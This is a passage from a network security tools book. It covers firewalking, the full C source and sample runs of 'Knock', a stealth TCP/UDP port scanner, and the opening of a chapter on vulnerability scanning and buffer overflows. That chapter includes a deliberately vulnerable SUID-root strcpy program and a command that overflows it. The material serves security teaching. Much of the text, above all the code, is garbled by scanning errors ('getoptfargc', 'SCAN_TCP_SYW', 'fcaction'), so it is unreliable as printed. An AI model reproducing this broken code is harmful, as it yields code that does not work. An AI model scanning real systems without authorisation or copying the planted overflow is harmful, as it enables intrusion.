Packets on an IP network can be dropped for a variety of reasons. When a packet is dropped for any reason
other than it being denied by a prohibitive filter, it is extraneous loss. For firewalk scans to be accurate, this
extraneous packet loss needs to be kept to an absolute minimum. In most cases, the best practice is to
transmit a redundant number of probes (indeed, this action is what Traceroute does with three probes per
round). Unless there is severe network congestion, some of the probes should get through. What if the
firewalk probe sent is filtered or dropped by a different gateway while en route to the target gateway, however?
Figure 9.11 shows the early filtering of the firewalk probe.



Figure 9.11: Early filtering of a firewalk probe.

The scanning host sends a TCP probe to port 139 with an IP TIL of 4 to the metric. On the way to the target,
the packet violates an ACL on 10.0.1.1 and is silently dropped. The scanning host never receives an expiry
response and erroneously assumes the port to be closed on the target, which might or might not be the case.
This is not extraneous loss, so simply sending more packets will not help. To mitigate this phenomenon, the
user must perform "a creeping walk." This process is akin to a normal scan; however, each hop en route to
the target is scanned. A standard firewalk ramping phase is performed, and then each intermediate hop up to
the target is summarily scanned. This function prevents false negatives due to intermediate packing filtering
and enables the firewalk process to report more confidently.

If an intermediate hop is found to filter many of the ports that need to be scanned on the target gateway, a
simple solution is to physically move the scanning host to a different part of the network so that it does not
route through the offending intermediate gateway in order to get to the target.

Adjacent Target and Metric

An interesting situation arises when the target gateway and metric are topologically adjacent to one another.
That is, the metric is exactly one hop downstream from the target. If the scanning host sends a probe that the
target drops due to an ACL violation, nothing out of the ordinary happens. If the target routes the probe to the
metric, however, which is the destination of the probe, the packet will not expire but rather be processed by the
operating system as per RFC 1122. Depending on the Layer 4 protocol used, the destination port, and the
applications running on the metric system, the results vary according to the protocol-specific terminal packet
semantics described earlier. Figure 9.12 shows an adjacent target gateway and metric situation.

Figure 9.12: Adjacent target and metric

The scanning host sends a probe to TCP port 443. The probe is passed by the target gateway and forwarded
to the metric. Instead of expiring and eliciting an ICMP TTL expired in transit message, the probe has reached
its final destination and is subsequently processed. Because it is a TCP SYN packet and port 443 is listening
on the host, a terminal SYN|ACK packet is returned to the scanning host. It should now be apparent that it is



possible to execute a port scan through the target gateway on the metric, albeit a limited one. If a port is
accepted by the gateway's ACL, it then becomes possible to scan for active applications on the downstream
metric that attach to the specified port. The situation becomes more complicated when UDP is used as the
Layer 4 probing protocol. As we discussed earlier, if an application is running on the metric that utilizes UDP
sockets, a probe will not elicit a response if a listening UDP port receives it.

Firewalk Program and Code

In Chapter 12 , you can find a thorough treatment of the Firewalk 5.0 program and a code walkthrough.

 



 

Sample Program–Knock

Knock, as shown in Figure 9.13, is a small tool that exhibits the port scanning active reconnaissance
technique. It is a port scanner that scans both TCP and UDP ports at the behest of the user. It supports
standard UDP port scanning in addition to TCP half-open scanning and TCP stealth scanning, using both FIN
and XMAS packets.

Figure 9.13: Knock port scanner.

By specifying the -h argument or invoking it with no arguments, Knock dumps its usage as follows:

   tradecraft: ~# ./knock
   Knock 1.0 [TCP / UDP port scanning tool]
   usage ./knock [options] target_host port_list
   -h            this blurb you see right here
   -i device     specify a device
   -T timeout    seconds to wait for a resonse
   -t scantype   scan TCP ports (1 == TCP SYN, 2 == TCP FIN, 3 == TCP
                 XMAS)
   -u            scan UDP ports

Like so many programs we have seen in this book, the user can specify a specific device to use. The -T

option enables the user to specify a timeout value controlling how long Knock will wait for a response from a
target host. The -t scantype option specifies a TCP port scan. The scantype field contains a user-
specified number corresponding to the scan type. The -u option specifies a UDP port scan. After all the

options are specified, Knock requires a target host (in either presentation format or numeric IP address) and a
libnet-style list of ports to scan. A sample invocation of Knock is as follows:

   tradecraft: ~# ./knock 10.0.1.9 22, 23, 80, 135-139
   Knock 1.0 [TCP / UDP port scanning tool]
   TCP Half-open-based port scan
   <ctrl-c> to quit
   port 22: open
   port 23: closed
   port 80: open
   port 135: closed? (timeout)



   port 136: closed? (timeout)
   port 137: closed? (timeout)
   port 138: closed? (timeout)
   port 139: closed? (timeout)
   2 ports open

Knock scanned ports 22,23, 80, and 135-139 on 10.0.1.9 by using the default scanning method, a TCP half-
open scan. Ports 22 (SSH) and 80 (HTTP) returned SYN|ACK packets and were found to be open and ready
for business while port 23 (telnet) returned an RST packet indicating that it was closed. The scanning probes
to ports 135-139 timed out and appeared to be closed. Due to the fact that our other probes did not time out,
this situation looks a little suspicious. Another invocation of Knock against the same ports using a different
TCP scanning method enables us to investigate this situation a bit further:

   tradecraft: ~# ./knock -t2 10.0.1.9 22,23,80,135-139
   Knock 1.0 [TCP / UDP port scanning tool]
   TCP Stealth FIN-based port scan
   <ctrl-c> to quit
   port 22: open
   port 23: closed
   port 80: open
   port 135: closed
   port 136: closed
   port 137: closed
   port 138: closed
   port 139: open? (timeout)
   3 ports open

We scanned the same ports with a TCP stealth FIN port scan. This time, ports 135-138 were closed while
port 139 still timed out, but this time Knock thinks that it is open. The situation is that host 10.0.0.1 is probably
behind either a filtering firewall or a router that is allowing certain types of traffic through, such as SSH and
HTTP, but not any of the NetBIOS protocols that run on those ports. The filtering device prevents TCP SYN
packets to these ports, which prevents any active TCP connections from being established and prevents our
half-open scan from working correctly. Our stealth scan, however, uses TCP FIN packets (which can pass
through the filter). Ports 135-138 then return RST packets indicating that they are closed, but port 139 times
out. Recall that when performing a FIN scan, we can definitively determine which ports are closed while open
ports will drop the FIN packets. In this case, the timeout indicates that the port is-probably open. Knock
displays a question mark next to any timeouts, because they could be indicative of port status or possibly due
to either network instability or filtering firewalls. It depends on the scan type and general network saturation
levels.

Here is another invocation of Knock to scan UDP ports on a different host:

   tradecraft: ~# ./knock -u 192.168.0.131 10-20,111
   Knock 1.0 [TCP / UDP port scanning tool]
   TCP Stealth XMAS-based port scan
   <ctrl-c> to quit
   port 10: closed
   port 11: closed
   port 12: closed
   port 13: closed



   port 14: closed
   port 15: closed
   port 16: closed
   port 17: closed
   port 18: closed
   port 19: closed
   port 20: closed
   port 111: open? (timeout)
   1 port open

This time, a UDP scan for ports 10-20 and 111 executes against 192.168.0.131. Ports 10-20 returned ICMP
port unreachable packets, indicating that they are closed, while port 111 (RFC) did not receive a response
and timed out. Remember that UDP port scanning, like the FIN scan mentioned earlier, times out when a port
is open. In this case, however, a firewall or router could filter the port and Knock would not be capable of
telling the difference. The only way to be sure would be to craft a legitimate RFC packet and send it to
192.168.0.131 on UDP port 111.

 



 

Sample Code–Knock

The following two source files comprise the Knock codebase. To preserve readability, we richly comment the code but do not include any book-text inside the code. You can download the full source files from this book's
companion Web site at http://www.wiley.com/compbooks/schiffman .

knock.h

   /*
    * $Id: knock.h,v 1.1.1.1 2002/03/13 21:01:12 route Exp $
    *
    * Building Open Source Network Security Tools
    * knock.h - Port Scanning Technique example code
    *
    * Copyright (c) 2002 Mike D. Schiffman mike@infonexus.com>
    * All rights reserved.
    *
    */

   #include <libnet.h>
   #include <pcap.h>

   #define SNAPLEN       94        /* Ethernet + IP + opt + TCP */
   #define PROMISC       1
   #define TIMEOUT       500
   #define PORT_OPEN     0
   #define PORT_CLOSED   1
   #define PORT_OPEN_TIMEDOUT   2
   #define PORT_CLOSED_TIMEDOUT 3
   #define SOURCE_PORT   31337

   struct knock_pacK
   {
        pcap_t *p;                    /* pcap descriptor */
        struct pcap_pkthdr h;         /* pcap packet header */
        libnet_t *1;                  /* libnet descriptor */
        libnet_ptag_t ip;             /* IP header */
        libnet_ptag_t tcpudp;         /* TCP or UDP header */
        libnet_plist_t *plist;        /* libnet port list */
        u_long src_ip;                /* our IP address */
        u_long dst_ip;                /* host to scan */
        u_char flags;                 /* control flags */
        u_char to;                    /* packet read timeout */
   #define NETWORK_TIMEOUT 2          /* 2 seconds and we're crying foul */
        u_char scan_type;             /* either TCP or UDP! */
   #define SCAN_TCP        0          /* TCP */
   #define SCAN_UDP        1          /* UDP */
        u_char scan_subtype;          /* TCP scan subtype */
   #define SCAN_TCP_SYN    1          /* Half-open scan */

http://www.wiley.com/compbooks/schiffman


   #define SCAN_TCP_FIN    2          /* Stealth FIN scan */     
   #define SCAN_TCP_XMAS   3          /* Stealth XMAS scan */
        u_short port;                 /* current port we're scanning */
        u_char *packet;               /* everyone's favorite: packet! */
        u_short ports_open;           /* open ports */
        char errbuf[LIBNET_ERRBUF_SIZE];
   };

   struct knock_pack *knock_init(char *, u_char, char *, u_char, u_char,
        u_char, char *, char *);
   void knock_destroy(struct knock_pack *);
   void knock(struct knock_pack *);
   int build_packet (struct knock_pack *);
   int write_packet(struct knock_pack *);
   int receive_packet(struct knock_pack *);
   void cleanup(int);
   int catch_sig(int, void (*)());
   void usage(char *);

   /* EOF */

knock.c

        /*
         * $Id: knock.c,v 1.1.1.1 2002/03/13 21:01:12 route Exp $
         *
         * Building Open Source Network Security Tools
         * knock.c - Port Scanning Technique example code
         *
         * Copyright (c) 2002 Mike D. Schiffman <mike@infonexus.com>
         * All rights reserved.
         *
         */
       #include "./knock.h"

       int loop = 1;
 
       int
       main(int argc, char **argv)
       {
          int c;
          u_char flags, to;
          u_char scan_type, scan_subtype;
          char *device;
          struct knock_pack *kp;
          char errbuf[LIBNET_ERRBUF_SIZE], host[512], p_list[100];

          printf("Knock 1.0 [TCP / UDP port scanning tool]\n");
          to = 0;
          flags = 0;



          device = NULL;
          scan_type = SCAN_TCP;
          scan_subtype = SCAN_TCP_SYN;
          memset (&host, NULL, sizeof (host));
          while ((c = getoptfargc, argv, "hi:T:t:u")) !=EOF)
          {
             switch (c)
             {
                  case 'h':
                       usage(argv[0]);
                       exit(EXIT_SUCCESS);
                       break;
                  case 'i':
                       device = optarg;
                       break;
                  case 'T':
                       to = atoi(optarg);
                       break;
                  case 't':
                       scan_type = SCAN_TCP;
                       scan_subtype = atoi(optarg);
                       switch (scan_subtype)
                       {
                            case SCAN_TCP_SYN:
                                 break;
                            case SCAN_TCP_FIN:
                                 break;
                            case SCAN_TCP_XMAS:
                                 break;
                            default:
                                 usage(argv[0]);
                                 exit(EXIT_FAILURE);
                       }
                       break;
                  case 'u':
                       scan_type = SCAN_UDP;
                       break;
                  default:
                       usage(argv[0]);
                       exit(EXIT_FAILURE);
             }
        }
        c = argc - optind;
        if (c != 2)
        {
             usage(argv[0]);
             exit(EXIT_FAILURE);
        }
        else
        {
             /* target host */
             strncpy(host, argv[optind] , sizeof (host) - 1);



             /* port list */
             strncpy(p_list, argvfoptind + 1], sizeof (p_list) - 1);
        }
        /*
         * Initialize knock. Here we'll bring up libpcap and libnet.
         */
        kp = knock_init (device, flags, host, scan_type, scan_subtype, to,
             p_list, errbuf);
        if (kp == NULL)
        {
             fprintf(stderr, "knock_init() failed: %s n", errbuf); goto done;
        }

        /* print out the scan type~*/
        switch (scan_type)
        {
             case SCAN_UDP:
                  printf("UDP");
                  break;
             case SCAN_TCP:
                  switch (scan_subtype)
                  {
                       case SCAN_TCP_SYN:
                          printf("TCP Half-open");
                          break;
                       case SCAN_TCP_FIN:
                          printf("TCP Stealth FIN");
                          break;
                       case SCAN_TCP_XMAS:
                          printf("TCP Stealth XMAS");
                          break;
                  }
   }
   printf("-based port scan n");
   printf("<ctrl-c> to quit n");
   knock(kp);
     done:
   if (kp)
   {
        printf("%d %s open n", kp->ports_open, kp->ports_open == 1 ?
             "port" : "ports");
   }
   knock_destroy(kp);
   /* shut down knock */
   return (EXIT_SUCCESS);
     }
     struct knock_pack *
     knock_init(char *device, u_char flags, char *host, u_char scan_type,
        u_char scan_subtype, u_char to, char *p_list, char *errbuf)
     {
         struct knock_pack *kp;
         /*



   * We want to catch the interrupt signal so we can inform the user
   * how many packets we captured before we exit.
   */
   if (catch_sig(SIGINT, cleanup) == -1)
   {
        sprintf(errbuf, "can't catch SIGINT signal. n");
        return (NULL);
   }

   kp = malloc (sizeof (struct knock_pack));
   if (kp == NULL)
   {
        snprintf(errbuf, PCAP_ERRBUF_SIZE, strerror(errno));
   return (NULL);
   }

   kp->flags = flags;
   kp->scan_type = scan_type;
   kp->scan_subtype = scan_subtype;
   kp->to = to == 0 ? NETWORK_TIMEOUT : to;

   /*
    * If device is NULL, that means the user did not specify one and
    * is leaving it up libpcap / libnet to find one. We'll use
    * libpcap's lookup routine, but they're both from the same
    * codebase so it doesn't matter… ;)
    */
   if (device == NULL)
   {
        device = pcap_lookupdev(errbuf);
        if (device == NULL)
        {
             return (NULL);
        }
   }

   /*
    * Open the packet capturing device with the following values:
    *
    * SNAPLEN: We won't need more than 80 bytes
    * PROMISC: on
    * The interface needs to be in promiscuous mode to capture all
    * network traffic on the localnet.
    * TIMEOUT: 500ms
    * A 500 ms timeout is probably fine for most networks. For
    * architectures that support it, you might want to tune this value
    * depending on how much traffic you're seeing on the network.
    */
   kp->p = pcap_open_live(device, SNAPLEN, PROMISC, TIMEOUT, errbuf);
   if (kp- p == NULL)
   {
        return (NULL);



   }

   /*
   * We need to make sure this is Ethernet. The DLT_EN10MB specifies
   * standard 10MB and higher Ethernet.
   */
   if (pcap_datalink(kp->p) != DLT_EN10MB)
   {
        sprintf(errbuf, "Knock only works with ethernet.\n");
        return (NULL);
   }

   kp->l = libnet_init(LIBNET_RAW4, device, errbuf);
   if (kp->l == NULL)
   {
        return (NULL);
   }

   kp->src_ip = libnet_get_ipaddr4(kp->l);

   if (!(kp->dst_ip = libnet_name2addr4(kp->l, host, LIBNET_RESOLVE)))
   {
       sprintf(errbuf, "libnet_name2addr4(): %s",
              libnet_geterror(kp->l));
       return (NULL);
   }

   if (libnet_plist_chain_new(kp->I, &kp->plist, p_list) == -1)
   {
        sprintf(errbuf, "libnet_plist_chain_new(): %s",
             libnet_geterror(kp->l));
        return (NULL);
   }
   return (kp);
     }

     void
     knock_destroy(struct knock_pack *kp)
     {
   if (kp)
   {
       if (kp->p)
       {
           pcap_close(kp->p) ;
       }
       if (kp->l)
       {
           libnet_destroy(kp->l);
       }
        }
     }



     int
     catch_sig(int signo, void (*handler)())
     {

   struct sigaction action;

   action.sa_handler = handler;
   sigemptyset(&action.sa_mask);
   action.sa_flags = 0;
   if (sigaction(signo, fcaction, NULL) == -1)
   {
        return (-1);
   }
   else
   {
        return (1);
   }
     }

     void
     knock(struct knock_pack *kp)
     {
   u_short bport, eport;

   /*
    * Loop until user hits ctrl-c at the corrjriand prcir.pt or until we
    * run out of ports to scan.
    */
   for (; loop; )
   {
       /* set ports */
       if (libnet_plist_chain_next_pair(kp->plist, &bport, &eport) < 1)
       {
           /* we're done */
           loop = 0;
           continue;
       }
    
       while (!(bport > eport) && bport != 0 && loop)
       {
           kp->port = bport++;
 
        /* build a port scanning packet */
        if (build_packet(kp) == -1)
        {
             fprintf(stderr, "build_packet: %s", kp->errbuf);
             continue;
        }
 
        /* write it to the network */



        if (write_packet(kp) == -1)
        {
              fprintf(stderr, "write_packet: %s", kp->errbuf);
              continue;
        }
        fprintf(stderr, "port %d ", kp->port);

        /* look for a response and report port status to user */
        switch (receive_packet(kp))
        {
           case PORT_OPEN~
                printf("open n");
                kp->ports_open++;
                break;
           case PORT_OPEN_TIMEDOUT:
                printf("open? (timeout)\n");
                kp->ports_open++;
                break;
           case PORT_CLOSED:
                printf("closed\n");
                break;
           case PORT_CLOSED_TIMEDOUT:
                printf("closed? (timeout)\n");
                break;
       }
    }
        }
     }

     int
     build_packet(struct knock_pack *kp)
     {
   u_char control = 0;
   u_short protocol;
   u_long packet_size;

   /* determine total packet size and port scan type */
   packet_size = LIBNET_IPV4_H + (kp->scan_type == SCANJTCP ?
        LIBNET_TCP_H : LIBNET_UDP_H);
   protocol = kp->scan_type == SCAN_TCP ? IPPROTO_TCP : IPPROTO_UDP;

   switch (kp->scan_type)
     {
   case SCAN_TCP:
        /* set the TCP scan type */
        switch (kp->scan_subtype)
        {
             case SCAN_TCP_SYW:
                  control = TH_SYN;
                  break;
             case SCAN_TCP_FIN:



                  control = TH_FIN;
                  break;
             case SCAN_TCP_XMAS:
                  control = TH_FIN | TH_URG | TH_PUSH;
                  break;
        }
        /*
         * Build a TCP header. If this is the first time we've hit
         * this block of code, kp->tcpudp will be 0 and
         * libnet_build_tcp() will create the state for the packet
         * and we will save it to kp->tcpudp. Each subsequent time
         * we hit this block of code libnet_build_tcp will update
         * this packet template. This is the same for
         * libnet_build_udp() and libnet_build_ip().
         */
        kp->tcpudp = libnet_build_tcp(
             SOURCE_PORT,                          /* source port */
             kp->port,                             /* destination port */
             0x00000bad,                           /* sequence number */
             0x0000bad0,                           /* acknowledgement num */
             control,                              /* control flags */
             32767,                                /* window size */
             0,                                    /* checksum */
             0,                                    /* urgent pointer */
             LIBNET_TCP_H,                         /* TCP packet size */
             NULL,                                 /* payload */
             0,                                    /* payload size */
             kp->l,                                /* libnet handle */
             kp->tcpudp);                          /* libnet id */
        if (kp->tcpudp == -1)
        {
             sprintf(kp->errbuf, "Can't build TCP header: %s n",
                  libnet_geterror (kp->l));
             return (-1);
        }
        break;
   case SCAN_UDP:
        kp->tcpudp = libnet_build_udp(
             SOURCE_PORT,                       /* source port */
             kp->port,                          /* destination port */
             LIBNET_UDP_H,                      /* packet size */
             0,                                 /* checksum */
                  NULL,                         /* payload */
                  0,                            /* payload size */
                  kp->l,                        /* libnet handle */
                  kp->tcpudp);                  /* libnet id */
             if (kp->tcpudp == -1)
             {
                  sprintf(kp->errbuf, "Can't build UDP header: %s n",
                       libnet_geterror(kp->l));
                  return (-1);
             }



             break;
        }
        kp->ip = libnet_build_ipv4(
             packet_size,                       /* total packet size */
             0,                                 /* type of service */
             242,                               /* identification */
             0,                                 /* fragmentation */
             64,                                /* time to live */
             protocol,                          /* protocol */
             0,                                 /* checksum */
             kp->src_ip,                        /* source */
             kp->dst_ip,                        /* destination */
             NULL,                              /* payload */
             0,                                 /* payload size */
             kp->l,                             /* libnet handle */
             kp->ip);                           /* ptag */
        if (kp->ip == -1)
        {
             sprintf(kp->errbuf, "Can't build IP header: %s n",
                  libnet_geterror(kp->l));
             return (-1);
        }
        return (1);
   }

   int
   write_packet(struct knock_pack *kp)
   {
        int c;

        c = libnet_write(kp->l);
        if (c == -1)
   {
        sprintf(kp->errbuf, "libnet_write(): %s n",
             libnet_geterror(kp->l));
   }
   return (c);
     }
     int
     receive_packet(struct knock_pack *kp)
     {
   u_short ip_hl ;
   time_t start;
   struct libnet_ipv4_hdr *ip;
   struct libnet_tcp_hdr *tcp;
   struct libnet_icmpv4_hdr *icmp;
   struct libnet_udp_hdr *udp;

   for (start = time(NULL); (time(NULL) - start) < kp- to; )
   {
        kp->packet = (u_char *)pcap_next(kp->p, &kp->h);



        if (kp->packet == NULL)
        {
             /*
              * We have to be careful here as pcap_next() can return
              * NULL if the timer expires with no data in the packet
              * buffer or under some special circumstances under linux.
              */
             continue;
        }

        /*
         * By using libnet's natively defined protocol headers, we can
         * cast our received IP packet and access all header fields
         * directly. As you'll see, this is much easier than the
         * bitwise stuff we had to do in the last chapter. Also you'll
         * note the lack of endian concern when dealing with libnet.
         * It handles all of this for us. How nice and thoughtful of
         * libnet.
         */
        ip = (struct libnet_ipv4_hdr *)(kp->packet + 14);
        ip_hl = ip->ip_hl << 2;

        switch (ip->ip_p)
        {
             case IPPROTO_TCP:
                  if (kp->scan_type != SCAN_TCP)
                  {
                       continue;
                  }

                  tcp = (struct libnet_tcp_hdr *)(kp->packet + 14 +
ip_hl);
                  if (ip->ip_src.s_addr == kp->dst_ip && ip->ip_dst.s_addr == kp->src_ip && ntohs(tcp->th_sport) == kp->port && ntohs(tcp->th_dport) == SOURCE_PORT)
                  {
                       if ((tcp->th_flags & TH_SYN) &&
                       (tcp->th_flags & TH_ACK)) 
                 {
                       /* we got a SYNJACK back, we know port is open */
                       return (PORT_OPEN);
                  }
                  if (tcp->th_flags & TH_RST)
                  {
                       /* we got an RST back, we know port is closed */
                       return (PORT_CLOSED);
                  }
             }
             continue;
        case IPPROTO_ICMP:
             if (kp->scan_type != SCAN_UDP)
             {
                  continue;
             }



             icmp = (struct libnet_icmpv4_hdr *)
                   (kp->packet + 14 + ip_hl);
             if (icmp- icmp_type != ICMP_NREACH &&
                 icmp->icmp_code != ICMP_UNREACH_PORT)
             {
                 /* it's not a terminal response to our packet */
                 continue;
             }
        
             /* past IPv4 header, past ICMPv4 header */
             ip = (struct libnet_ipv4_hdr *)(kp->packet + 14
                    + ip_hl + LIBNET_ICMPV4_UNREACH_H);
 
             /* past IPv4 header, past ICMPv4 header, past IPv4 */
             udp = (struct libnet_udp_hdr *)(kp->packet + 14
                     + ip_hl + LIBNET_ICMPV4_UNREACH_H +
                     LIBNET_IPV4_H);
 
             if (ip->ip_src.s_addr == kp->src_ip && ip->ip_dst.s_addr
                  ==  kp->dst_ip && ntohs (udp->uh_dport) == kp-> &&
                 ntohs(udp->uh_sport) == SOURCE_PORT)
             {
                 /* we got an ICMP port unreach; port is closed */
                 return (PORT_CLOSED);
             }
        default:
           continue;
   }
     }
     /*
      * If we get down here, the scan has timed out, and depending on
      * the scan protocol and type, the port may be open or it may be
      * closed.
      */ if (kp->scan_type == SCAN_TCP)
     {
         switch (kp->scan_subtype)
         {
      case SCAN_TCP_SYN:
          /* for half-open TCP scans assume the port is closed */
          return (PORT_CLOSED_TIMEDOUT);
      case SCAN_TCP_FIN:
      case SCAN_TCP_XMAS:
          /* for "stealth" TCP scans assume the port is open */
          return (PORT_OPEN_TIMEDOUT);
         }
     }
     else
     {
   /* for UDP scans assume the port is open */
   return (PORT_OPEN_TIMEDOUT);
     }
     /* NOTREACHED (this silences compiler warnings) */



     return (PORT_CLOSED);
  }

  void
  cleanup(int signo)
  {
        loop = 0;
        printf("Interrupt signal caught… n");
  }

  void
  usage(char *name)
  {
       printf("usage %s [options] target_host port_list n"
             "-h\t\tthis blurb you see right here\n"
             "-i device\tspecify a device\n"
             "-T timeout\tseconds to wait for a resonse\n"
             "-t scantype\tscan TCP ports "
             "(1 == TCP SYN, 2 == TCP FIN, 3 == TCP XMAS)\n"
             "-u\t\tscan UDP ports\n", name);
  }

  /* EOF */

 



 

Chapter 10: Attack and Penetration Techniques

Vulnerability is the state of being open to attack or damage from an assailant. From a network computer
security perspective, this definition extends to the state of being open to attack or damage across a network
resulting from a security flaw. Vulnerabilities come in all shapes and sizes, including user error, unexpected
interactions between two systems, and programming flaws. A short list of vulnerability categories includes:
buffer overflows, format strings, race conditions, cross-site scripting (XSS), and denial of service (DoS).
These vulnerabilities, when exposed (via scanning) and subsequently exploited (via testing), can yield all sorts
of jewels to the attacker, including information leakage, network enumeration, down time, file contents,
usernames, passwords, and the holy grail of privilege escalation.

The attack and penetration class concerns itself with the vulnerabilities that lie in computer systems. Being
able to determine the susceptibility of a particular system to a class or range of vulnerabilities is a powerful
technique, trumped only by having the ability to actually execute a program to exploit the vulnerability. This
chapter discusses both techniques.

Vulnerability Scanning

Vulnerability scanning is the process of determining a system's susceptibility to a series of security flaws.
Tools that implement this technique test a target for a series of catalogued vulnerabilities, reporting the
results to the user. This technique is equally important to the security consultant as to the system
administrator, because the protection of systems should be a proactive task. By scanning systems for
vulnerabilities and rinding them before malevolent individuals do, the protagonist can then fix them before
they become security breaches.

Vulnerability Scanner Constituent Elements

Vulnerability scanners (or just scanners) range from relatively simple programs like the one at the end of this
chapter to incredibly complex multi-tiered applications. Regardless of complexity however, most scanners
have a structure similar to the one shown in Figure 10.1.

Figure 10.1: Vulnerability scanner breakdown.



Interface and Scanning Engine

The interface is the command and control element by which the user controls the behavior of the scanner.
The interface, which is often graphical, coordinates and receives updates from the scanning engine and
dictates how the final report should generate. It might also be remotely located (across a network or across
the Internet) from the scanning engine. When remotely positioned, the interface engages in a textbook
client/server relationship with the scanning engine. As a matter of best practice, they will (should)
communicate over an encrypted channel. Also, when physically detached from the scanning engine, the
interface might control multiple scanning engines (which you can deploy in order to distribute and parallelize
the scan). The scanning engine itself performs the actual testing across one or more target systems, handling
all of the details of each vulnerability that you will test.

Target Systems

The IP address or hostname specify target systems, which are fed to the scanning engine from the interface.
While single systems might be scanned individually, a group of contiguous systems are typically scanned one
after another (or in parallel), grouped by IP netblock.

Vulnerability Database

The scanning engine pulls the vulnerabilities that it needs to scan for from the vulnerability database. The
makeup of the database varies across different implementations, but generally speaking, each entry contains
all of the information that is necessary for the scanning engine to perform the test and to subsequently
determine whether the target system is vulnerable or not. Some vulnerability scanners include a high-level
scripting language enabling users to rapidly add their own custom tests.

The important distinction to make concerning vulnerability scanners is that they do not actually find new or as
yet undiscovered vulnerabilities. They simply try to determine whether a given system is vulnerable to a given
security flaw. How complete the scanner's vulnerability database solely determines the robustness of a
scanner.

Scan Results and Final Report

The scanning engine writes the results of each test to the results database, which the interface then uses to
generate the final report. How flexible and robust the vulnerability scanner's reporting capability is often
measures its utility. The final report is often the fruit of a laborious effort, and how you present this information
is extremely important. The composition of the final report often varies depending on the audience. Modern
scanners enable the user to choose from a variety of reporting templates, including an executive or technical
summary, and from formats such as Hypertext Markup Language (HTML), Extensible Markup Language
(XML), or plain ASCII text.

 



 

Vulnerability Testing

Vulnerability testing is the process of exploiting a system's susceptibility to vulnerability. Sometimes considered
the technique of malcontents, vulnerability testing is widely used by security professionals for proof-of-concept
testing or during consulting engagements or directed research. In the wrong hands, however, vulnerability
testing (often simply called exploiting) can be a powerful and dangerous technique. Consider a serious
security flaw that exists in software that you widely deploy across the Internet. Couple that with a tool that
exploits this flaw to yield privileged access, and the potential for shenanigans is high.

Tools employing this technique (exploits) generally tend to be small and specifically tailored toward a specific
vulnerability or a class of vulnerabilities. Often, developers write them to target one particular vulnerability on a
particular architecture (such is the case with buffer overflow and format string-related exploits). While we do
not mean for this section to be a cookbook for how to write exploit code, we describe two common methods of
exploitation—traditional buffer overflows and format string attacks.

The Programmer's Stack

Both of the vulnerability testing methods covered intimately deal with the stack—and as such, we describe it
briefly as follows.

A stack is an abstract data type that most every modern computer system employs. Also known as a last in,
first out (LIFO) queue, the stack is a central component in today's high-level programming languages (such as
C). Arguably the most important technique for building programs with high-level languages is the function call.
When a function call occurs, the flow of control of a program alters as it moves to the function's address to
execute the function's code, and then control returns to the original location immediately after the function call.
You accomplish this task with the use of a stack. The stack also dynamically allocates the local variables used
in functions, passes parameters to the functions, and returns values from the function to the caller. For
example, the return address and arguments to a function are pushed down onto the stack before calling the
function and then popped back off the stack when returning from it in order to restore the program's state. We
will see how certain programming flaws enable attackers to manipulate values on the stack to cause
exceptional events to occur.

Architectural Specificity

As most application programmers know, the x86 stack grows downward from high memory addresses to low
memory addresses. Not so well known, however, is the fact that some operating systems provide functionality
to pad the stackframe for each new process with a random number of bytes. The following code snippet
shows OpenBSD's algorithm for performing this task on little-endian machines:

  stackgap_random = 1024;
  sgap = 512;

  sgap += (arc4random() * (sizeof(int) - 1)) & (stackgap_random - 1);

Because buffer overflow and format string exploits rely on knowing the stack pointer address, this
randomization process frustrates attack and penetration-based tools that utilize these methods. As such,
except where noted, the following examples are built and compiled on an OpenBSD kernel with random
stackgap padding disabled.



Buffer Overflow Vulnerabilities

Considered to be the hallmark of poor programming, a program susceptible to a buffer overflow enables the
attacker to control the flow of afflicted software and often to completely shore up control of the program. A
buffer overflow, simply put, is the act of filling up a contiguous buffer past its predefined boundaries. Consider
the following sample program (which we assume to be built and installed on the SUID root):

  #include <stdio.h>
  #include <sys/types.h>
  #include <unistd.h>

  int
  main(int argc, char **argv)
  {
       char buf[512];

      setuid(O);
      seteuid(O);
      /* not vulnerable to a buffer overflow attack */
      stmcpy buf, argvfl], 512);
      printf("Completed strncpy().\n");

      /* vulnerable to a buffer overflow attack */
      strcpy(buf, argv[l]);
      printf("Completed strcpy().\n");
      return (0);
  }

This code shows both the right way and the wrong way to handle strings. To the untrained eye, it appears that
the code is completely functional and that the two blocks of code are equivalent, but the programmer made a
fatal flaw in the second set of statements. When the program is compiled and executes, under normal
circumstances both pairs of statements execute correctly:

  tradecraft:~>./overflowl "sup dorks"
  Completed strncpy().
  Completed strcpy().

As expected, the process flow of both segments is identical. If argv [1] is much larger than 512 bytes,

however, the program does not behave as expected. Consider the following invocation:

  tradecraft: ~> ./overflowl 'peri -e 'print "X"x1000' '
  Completed strncpy().
  Segmentation fault (core dumped)

The first statement completed successfully while the second one seemed to cause a memory segmentation
fault. To understand why, and to know why this situation can be a security liability, we need to understand a
little bit more about our programming language and environment.



Why C Makes Buffer Overflows Possible

The C programming language, by modern programming standards, is actually a rather low-level language.
The function calls that the programmer utilizes often compile down into only a handful of mnemonic machine
code instructions. One can argue that the main reason why C has remained so popular for three decades is
the power and flexibility that such low-level behavior provides. For example, rather than creating a string
variable type for the C language, the language designers and maintainers require the programmer to create
an array of characters (which are a single byte each on most platforms) for use with text. It becomes the
responsibility of the programmer to allocate, manage, and free the memory needed for a string.

If a programmer attempts to write a block of data that is larger than the target character array, as in our
previous example, the compiled language itself does not cry foul. Instead, the code instructs the system to
complete the operation and complete the data write. Several scenarios might occur after the function call. If
only a small amount of data is written outside the allocated space, the program might continue as if no
anomalous behavior occurred. If other variables occupy the neighboring space in the memory structure,
known as the heap, it is possible that the newly written data will overwrite information in the neighboring space
(referred to as a heap overflow; we do not cover this topic in depth here). In many cases, the program halts
with a segmentation fault (as seen earlier) or a signal from the operating system that the process is attempting
to access memory that it has not allocated.

We devote this section to the outcome of the final scenario. If enough data is written to the buffer, the resulting
overflow can infringe upon the memory space utilized by the processor for program flow and local variable
storage (also known as the stack). If any of the information in the stack is corrupted, such as the processor's
pointer to the current instruction being executed, it is almost certain that the program would terminate in a
crash.

Creative individuals, however, have found a way to exploit this shortcoming in the handling of strings. It is
possible to overflow a buffer in such a way as to insert a new value for the instruction pointer utilized by the
processor upon return from the current function being executed. A clever system attacker could fool the
processor into thinking that data introduced by the attacker into heap memory space is legitimate, executable
code. In many cases, because the program runs with the same user permissions as the user who is calling the
process, this program is of little use to an attacker. When the process is run as root to enable access to the
privileged ports—or the program is accessible to local users and is set to run as root—regardless of thp user
executing the process, the security of the system can be compromised. Because the code being executed out
